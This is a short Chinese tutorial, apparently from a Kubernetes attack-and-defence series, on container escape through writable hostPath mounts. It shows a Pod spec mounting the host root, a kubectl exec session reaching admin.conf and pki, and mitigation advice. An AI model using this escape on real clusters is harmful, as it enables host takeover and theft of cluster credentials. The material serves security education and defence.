Kubernetes攻防 特殊路径挂载导致的容器逃逸

特殊路径挂载导致的容器逃逸当例如宿主机的内的 /, /etc/, /root/.ssh 等目录的写权限被挂载进容器时在容器内部可以修改宿主机内的 /etc/crontab、/root/.ssh/、/root/.bashrc 等文件执行任意命令就可以导致容器逃逸# docker 运行示范dockerrun-it-v/:/tmp/rootfs ubuntubash创建测试环境apiVersion:v1kind:Podmetadata:name:ubuntu-host-rootfsnamespace:defaultlabels:app:ubuntu-host-rootfsspec:containers:-name:ubuntuimage:192.168.101.99:80/base/ubuntu:latest# Docker 里 bash 挂在前台K8s 中需常驻进程进入交互用 kubectl execcommand:[/bin/bash,-c,sleep infinity]volumeMounts:-name:host-rootmountPath:/tmp/rootfsvolumes:-name:host-roothostPath:path:/type:DirectoryrestartPolicy:Always操作[rootk8s-node1 ~]# kubectl get podsNAME READY STATUS RESTARTS AGE ubuntu-host-rootfs1/1 Running032s[rootk8s-node1 ~]#[rootk8s-node1 ~]# kubectl exec -it ubuntu-host-rootfs /bin/bashkubectlexec[POD][COMMAND]is DEPRECATED and will be removedina future version. Use kubectlexec[POD]--[COMMAND]instead. rootubuntu-host-rootfs:/# cd /tmp/rootfs/rootubuntu-host-rootfs:/tmp/rootfs# ls etc/kubernetes/admin.conf controller-manager.conf manifests scheduler.conf backup kubeadm-config.yaml pki super-admin.conf config kubelet.conf plugins防御建议避免将敏感目录挂载到容器中特别是带有写权限 使用只读挂载ro选项当需要共享宿主机文件时 实施严格的卷挂载策略明确定义允许挂载的路径 使用Pod Security Policies限制卷挂载